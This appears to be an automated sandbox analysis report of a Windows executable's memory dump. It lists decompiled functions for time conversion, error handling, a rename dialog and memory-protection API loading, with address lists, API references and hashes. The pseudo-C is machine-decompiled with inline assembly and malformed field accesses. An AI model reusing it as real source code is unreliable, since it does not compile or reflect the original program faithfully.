Instruction Fuzzy Hash: BEF01D709002198BE676BF69E88481F3FB9BB14728B061525F215A6399E73847018FC5

Uniqueness

Uniqueness Score: -1.00%

Function 01360910, Relevance: 9.1, APIs: 6, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E01360910(intOrPtr* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				char _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				struct _FILETIME _v84;
				intOrPtr _t47;
				long _t61;
				intOrPtr* _t66;
				long _t72;
				intOrPtr _t73;
				intOrPtr* _t76;

				_t73 = __edx;
				_t66 = _a4;
				_t76 = __ecx;
				_v48.wYear =  *_t66;
				_v48.wMonth =  *((intOrPtr*)(_t66 + 4));
				_v48.wDay =  *((intOrPtr*)(_t66 + 8));
				_v48.wHour =  *((intOrPtr*)(_t66 + 0xc));
				_v48.wMinute =  *((intOrPtr*)(_t66 + 0x10));
				_v48.wSecond =  *((intOrPtr*)(_t66 + 0x14));
				_v48.wMilliseconds = 0;
				_v48.wDayOfWeek.wYear = 0;
				if(SystemTimeToFileTime( &_v48,  &_v64) == 0) {
					 *_t76 = 0;
					 *((intOrPtr*)(_t76 + 4)) = 0;
				} else {
					if(E0135A995() >= 0x600) {
						FileTimeToSystemTime( &_v64,  &_v32);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v32,  &_v16);
						SystemTimeToFileTime( &(_v32.wDayOfWeek),  &_v84);
						SystemTimeToFileTime( &(_v48.wDayOfWeek),  &(_v72.dwHighDateTime));
						_t61 = _v84.dwHighDateTime + _v72.dwLowDateTime;
						asm("sbb eax, [esp+0x24]");
						asm("sbb eax, edi");
						asm("adc eax, edi");
						_t72 = 0 - _v72.dwHighDateTime.dwLowDateTime + _v84.dwLowDateTime + _v76;
						asm("adc eax, edi");
					} else {
						LocalFileTimeToFileTime( &_v64,  &_v72);
						_t61 = _v72.dwHighDateTime.dwLowDateTime;
						_t72 = _v72.dwLowDateTime;
					}
					 *_t76 = E0136DDC0(_t72, _t61, 0x64, 0);
					 *((intOrPtr*)(_t76 + 4)) = _t73;
				}
				_t47 =  *((intOrPtr*)(_t66 + 0x18));
				 *_t76 =  *_t76 + _t47;
				asm("adc [esi+0x4], edi");
				return _t47;
			}

0x01360910
0x01360914
0x01360923
0x01360925
0x0136092e
0x01360937
0x01360940
0x01360949
0x01360952
0x01360959
0x0136095e
0x01360972
0x01360a0e
0x01360a10
0x01360978
0x01360984
0x013609aa
0x013609bb
0x013609cb
0x013609d7
0x013609df
0x013609e5
0x013609ed
0x013609f3
0x013609f5
0x013609f9
0x01360986
0x01360990
0x01360996
0x0136099a
0x0136099a
0x01360a05
0x01360a07
0x01360a07
0x01360a13
0x01360a16
0x01360a18
0x01360a22

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 0136096E

Part of subcall function 0135A995: GetVersionExW.KERNEL32(?), ref: 0135A9BA

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 01360990
FileTimeToSystemTime.KERNEL32(?,?), ref: 013609AA
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 013609BB
SystemTimeToFileTime.KERNEL32(?,?), ref: 013609CB
SystemTimeToFileTime.KERNEL32(?,?), ref: 013609D7

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: f29300b48224dec911fb82902ef8e30dcbb4c66dc63c906976bcd6cd13c577e6
Instruction ID: f02c7377c206d31fdf91ac8897724d9b9db387860f6525a3d096412b7e2981ff
Opcode Fuzzy Hash: f29300b48224dec911fb82902ef8e30dcbb4c66dc63c906976bcd6cd13c577e6
Instruction Fuzzy Hash: 9031E27A1083469BC714DFA9C8809ABB7FCBF98704F04491EFA99C3214E730D549CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 01368BE2, Relevance: 9.1, APIs: 6, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E01368BE2(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t16;
				signed int _t22;
				void* _t25;
				signed int _t30;
				signed int* _t34;

				_t34 = _a12;
				if(_t34 != 0) {
					_t32 = _a8;
					_t25 = 0x10;
					if(E0136F3CA(_a8, 0x13840bc, _t25) == 0) {
						L13:
						_t30 = _a4;
						 *_t34 = _t30;
						L14:
						 *((intOrPtr*)( *_t30 + 4))(_t30);
						_t16 = 0;
						L16:
						return _t16;
					}
					if(E0136F3CA(_t32, 0x13840fc, _t25) != 0) {
						if(E0136F3CA(_t32, 0x13840dc, _t25) != 0) {
							if(E0136F3CA(_t32, 0x13840ac, _t25) != 0) {
								if(E0136F3CA(_t32, 0x138414c, _t25) != 0) {
									if(E0136F3CA(_t32, 0x138409c, _t25) != 0) {
										 *_t34 =  *_t34 & 0x00000000;
										_t16 = 0x80004002;
										goto L16;
									}
									goto L13;
								}
								_t30 = _a4;
								_t22 = _t30 + 0x10;
								L11:
								asm("sbb ecx, ecx");
								 *_t34 =  ~_t30 & _t22;
								goto L14;
							}
							_t30 = _a4;
							_t22 = _t30 + 0xc;
							goto L11;
						}
						_t30 = _a4;
						_t22 = _t30 + 8;
						goto L11;
					}
					_t30 = _a4;
					_t22 = _t30 + 4;
					goto L11;
				}
				return 0x80004003;
			}

0x01368be6
0x01368beb
0x01368bf9
0x01368bfe
0x01368c10
0x01368c9f
0x01368c9f
0x01368ca2
0x01368ca4
0x01368ca7
0x01368caa
0x01368cb6
0x00000000
0x01368cb7
0x01368c27
0x01368c42
0x01368c5d
0x01368c78
0x01368c9d
0x01368cae
0x01368cb1
0x00000000
0x01368cb1
0x00000000
0x01368c9d
0x01368c7a
0x01368c7d
0x01368c80
0x01368c84
0x01368c88
0x00000000
0x01368c88
0x01368c5f
0x01368c62
0x00000000
0x01368c62
0x01368c44
0x01368c47
0x00000000
0x01368c47
0x01368c29
0x01368c2c
0x00000000
0x01368c2c
0x00000000

APIs

_memcmp.LIBVCRUNTIME ref: 01368C06
_memcmp.LIBVCRUNTIME ref: 01368C1D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 984d5c849e2b9924d132b47334c1e4e125085813a827219651d8fdb6356f5263
Instruction ID: 54e0ef59d0aa2d257d2544637f68d78eab26fdea5125f1bf6e12e9faad1ad345
Opcode Fuzzy Hash: 984d5c849e2b9924d132b47334c1e4e125085813a827219651d8fdb6356f5263
Instruction Fuzzy Hash: BC21D3B164130BABDF14AB19DC81F7BF7AC9B5478CF14C669FC049A60EE230ED458291

Uniqueness

Uniqueness Score: -1.00%

Function 01378516, Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01378516(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x138d6ac; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E01377B1B(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E01379BA9(_t25, _t36, __eflags,  *0x138d6ac, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E01378388(_t25, _t31, 0x13b0418);
							E01377A50(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E01377A50();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E01377AD8(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x138d6ac; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E01377B1B(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E01379BA9(_t27, _t37, __eflags,  *0x138d6ac, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E01378388(_t27, _t32, 0x13b0418);
									E01377A50(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E01377A50();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E01379B53(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E01379B53(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x01378516
0x01378516
0x01378516
0x01378520
0x01378522
0x01378527
0x0137852a
0x01378538
0x0137853f
0x01378544
0x01378547
0x0137854a
0x0137855c
0x01378561
0x01378563
0x0137856e
0x01378575
0x0137857a
0x0137857d
0x0137857f
0x00000000
0x00000000
0x00000000
0x00000000
0x01378565
0x01378565
0x00000000
0x01378565
0x0137854c
0x0137854c
0x0137854d
0x0137854d
0x01378552
0x0137858d
0x0137858e
0x01378594
0x01378599
0x0137859c
0x0137859d
0x0137859e
0x013785a5
0x013785a7
0x013785a9
0x013785ae
0x013785b1
0x013785bf
0x013785cb
0x013785ce
0x013785d1
0x013785e3
0x013785e8
0x013785ea
0x013785f5
0x013785fb
0x01378603
0x01378605
0x00000000
0x00000000
0x00000000
0x00000000
0x013785ec
0x013785ec
0x00000000
0x013785ec
0x013785d3
0x013785d3
0x013785d4
0x013785d4
0x01378607
0x01378608
0x01378608
0x013785b3
0x013785b9
0x013785bd
0x01378610
0x01378611
0x01378617
0x00000000
0x00000000
0x00000000
0x013785bd
0x0137861e
0x0137861e
0x0137852c
0x01378532
0x01378536
0x01378581
0x01378582
0x0137858c
0x00000000
0x00000000
0x00000000
0x01378536

APIs

GetLastError.KERNEL32(?,013900E0,01373394,013900E0,?,?,01372E0F,?,?,013900E0), ref: 0137851A
_free.LIBCMT ref: 0137854D
_free.LIBCMT ref: 01378575
SetLastError.KERNEL32(00000000,?,013900E0), ref: 01378582
SetLastError.KERNEL32(00000000,?,013900E0), ref: 0137858E
_abort.LIBCMT ref: 01378594

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: d29805e6e0046ca82a45da5ee0b6d9f7b8d48ca424f0188b4e6c743a90b4bbb7
Instruction ID: 5427aedaf7c1aec721124a01c14131a9bd2b5cd28cabc8cb5c46f34c0edfc77e
Opcode Fuzzy Hash: d29805e6e0046ca82a45da5ee0b6d9f7b8d48ca424f0188b4e6c743a90b4bbb7
Instruction Fuzzy Hash: C2F0C875240706AAE336337D6C4CF2F266E8BE177DF350664F519A3288EE3C86029360

Uniqueness

Uniqueness Score: -1.00%

Function 0136C2A7, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0136C2A7(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				struct HWND__* _t18;
				intOrPtr _t19;
				void* _t20;
				signed short _t23;

				_t16 = _a16;
				_t23 = _a12;
				_t19 = _a8;
				_t18 = _a4;
				if(E013512D7(_t17, _t18, _t19, _t23, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t20 = _t19 - 0x110;
				if(_t20 == 0) {
					 *0x13ade34 = _t16;
					SetDlgItemTextW(_t18, 0x66, _t16);
					SetDlgItemTextW(_t18, 0x68,  *0x13ade34);
					goto L10;
				}
				if(_t20 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t23 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t18, 0x68,  *0x13ade34, 0x800);
					_push(1);
					L7:
					EndDialog(_t18, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0136c2a8
0x0136c2ad
0x0136c2b2
0x0136c2b7
0x0136c2cf
0x0136c32f
0x00000000
0x0136c331
0x0136c2d1
0x0136c2d7
0x0136c31c
0x0136c322
0x0136c32d
0x00000000
0x0136c32d
0x0136c2dc
0x0136c2eb
0x00000000
0x0136c2eb
0x0136c2e1
0x0136c2e4
0x0136c308
0x0136c30e
0x0136c2f1
0x0136c2f2
0x00000000
0x0136c2f2
0x0136c2e9
0x0136c2ef
0x00000000
0x0136c2ef
0x00000000

APIs

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

EndDialog.USER32(?,00000001), ref: 0136C2F2
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0136C308
SetDlgItemTextW.USER32(?,00000066,?), ref: 0136C322
SetDlgItemTextW.USER32(?,00000068), ref: 0136C32D

Strings

RENAMEDLG, xrefs: 0136C2BF

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: a684401e6a4f9144d29b49958d106b7515d1731485098d1aeee9857378502ccd
Instruction ID: 0a6aff8504df15a7ce2523c020f324caed660e3d22df7f219763da6257d75e81
Opcode Fuzzy Hash: a684401e6a4f9144d29b49958d106b7515d1731485098d1aeee9857378502ccd
Instruction Fuzzy Hash: 600128326803287AE6215BE95E48F3B7B6CE75AB08F005015F785B28C8C296A8049775

Uniqueness

Uniqueness Score: -1.00%

Function 01376B78, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E01376B78(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t10;
				intOrPtr* _t20;
				signed int _t22;

				_t10 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t10 ^ _t22;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_t20 = GetProcAddress(_v12, "CorExitProcess");
					if(_t20 != 0) {
						 *0x1382260(_a4);
						_t12 =  *_t20();
					}
				}
				if(_v12 != 0) {
					_t12 = FreeLibrary(_v12);
				}
				return E0136E203(_t12, _v8 ^ _t22);
			}

0x01376b7f
0x01376b86
0x01376b89
0x01376b8d
0x01376b98
0x01376ba0
0x01376bb1
0x01376bb5
0x01376bbc
0x01376bc2
0x01376bc2
0x01376bc4
0x01376bc9
0x01376bce
0x01376bce
0x01376be1

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,01376B29,?,?,01376AC9,?,0138A800,0000000C,01376C20,?,00000002), ref: 01376B98
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 01376BAB
FreeLibrary.KERNEL32(00000000,?,?,?,01376B29,?,?,01376AC9,?,0138A800,0000000C,01376C20,?,00000002,00000000), ref: 01376BCE

Strings

CorExitProcess, xrefs: 01376BA3
mscoree.dll, xrefs: 01376B91

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 92af7bd2b7fa3711f441c9927b857f633c71f35d22c1a24627983042065a5dc1
Instruction ID: de70abab6b2b52ac01e4025a3ac44689a18a7ab67e1a889c2a96e1c3c2f4beb5
Opcode Fuzzy Hash: 92af7bd2b7fa3711f441c9927b857f633c71f35d22c1a24627983042065a5dc1
Instruction Fuzzy Hash: FDF04471A0031DBBDB259B95DC09FAEBFBDEB04719F000068E905A2144DB744A45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0135E7E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0135E7E3(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E0135FCFD(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0135e7e4
0x0135e7ea
0x0135e7f1
0x0135e7f6
0x0135e7fa
0x0135e80f
0x0135e812
0x0135e818
0x0135e818
0x0135e81b
0x00000000
0x0135e81b
0x0135e820

APIs

Part of subcall function 0135FCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0135FD18
Part of subcall function 0135FCFD: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0135E7F6,Crypt32.dll,?,0135E878,?,0135E85C,?,?,?,?), ref: 0135FD3A

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0135E802
GetProcAddress.KERNEL32(01397350,CryptUnprotectMemory), ref: 0135E812

Strings

CryptUnprotectMemory, xrefs: 0135E808
Crypt32.dll, xrefs: 0135E7EC
CryptProtectMemory, xrefs: 0135E7FC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 191076e51a12c6b790fd27e5fa5b1faf557bba1983cbc10b58d379b8de6f3256
Instruction ID: abbdb3ff2c57f23604c1b39483b5a4ae97f0629ea262534180c02928d7adc59e
Opcode Fuzzy Hash: 191076e51a12c6b790fd27e5fa5b1faf557bba1983cbc10b58d379b8de6f3256
Instruction Fuzzy Hash: 94E046B4500B83ABDB556B3A9808A06FFA96F50E2CF14C12AEC24D3209DBF4D061CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01377389, Relevance: 7.6, APIs: 5, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E01377389(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x138d668; // 0xea6a5ad2
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E013769A8( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E0136DB10(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E0136DB10(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E0136DB10(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E0137AC29(_t56);
						_t40 = E01377A50(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E0137AC29(_t56);
						E01377A50(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x138d668;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x01377389
0x01377393
0x01377397
0x01377399
0x0137739d
0x013773a7
0x013773b8
0x013773bd
0x013773bf
0x013773c1
0x013773c3
0x013773c5
0x013773c9
0x01377483
0x01377491
0x01377493
0x01377498
0x0137749f
0x013774a1
0x013774af
0x013774be
0x013774c1
0x013774c3
0x00000000
0x013774c4
0x013773d1
0x013773d6
0x013773db
0x013773dd
0x013773dd
0x013773df
0x013773e4
0x013773e8
0x013773e8
0x013773eb
0x0137740a
0x0137740a
0x0137740c
0x0137740f
0x01377418
0x0137741b
0x01377420
0x01377423
0x01377428
0x00000000
0x00000000
0x0137742a
0x00000000
0x013773ed
0x013773ed
0x013773ef
0x013773f8
0x013773fb
0x01377400
0x01377403
0x01377408
0x01377432
0x01377435
0x01377437
0x0137743a
0x01377442
0x01377448
0x0137744f
0x01377451
0x01377459
0x01377468
0x0137746c
0x0137746e
0x01377471
0x00000000
0x00000000
0x01377473
0x01377476
0x01377478
0x01377478
0x01377479
0x0137747b
0x0137747e
0x00000000
0x01377478
0x00000000
0x01377408
0x013773eb
0x00000000

APIs

_free.LIBCMT ref: 013773FB
_free.LIBCMT ref: 0137741B

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0fa84204781a831e6bf92cdbdea7937166958b0a92cdf325e07297cbbe2b42c5
Instruction ID: 0ef370c327b130ab3b1894af1737648283b3abb7c3c7706518846bcffcfe9507
Opcode Fuzzy Hash: 0fa84204781a831e6bf92cdbdea7937166958b0a92cdf325e07297cbbe2b42c5
Instruction Fuzzy Hash: E841B236A003049FDB24DFBCC884A5EB7F5EF89728F1545A9E515EB381E735A901CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0137ABA6, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0137ABA6() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E0137AB6F(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E01377A8A(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E01377A50(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x0137abb5
0x0137abbb
0x0137ac13
0x0137ac13
0x0137abbd
0x0137abbe
0x0137abc3
0x0137abcc
0x0137abd2
0x0137abd8
0x0137abdd
0x00000000
0x0137abdf
0x0137abe5
0x0137abea
0x0137ac08
0x0137ac02
0x0137ac02
0x0137ac04
0x0137ac04
0x0137ac0b
0x0137ac10
0x0137abdd
0x0137ac17
0x0137ac1a
0x0137ac1a
0x0137ac28

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0137ABAF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0137ABD2

Part of subcall function 01377A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,01372FA6,?,0000015D,?,?,?,?,01374482,000000FF,00000000,?,?), ref: 01377ABC

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0137ABF8
_free.LIBCMT ref: 0137AC0B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0137AC1A

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
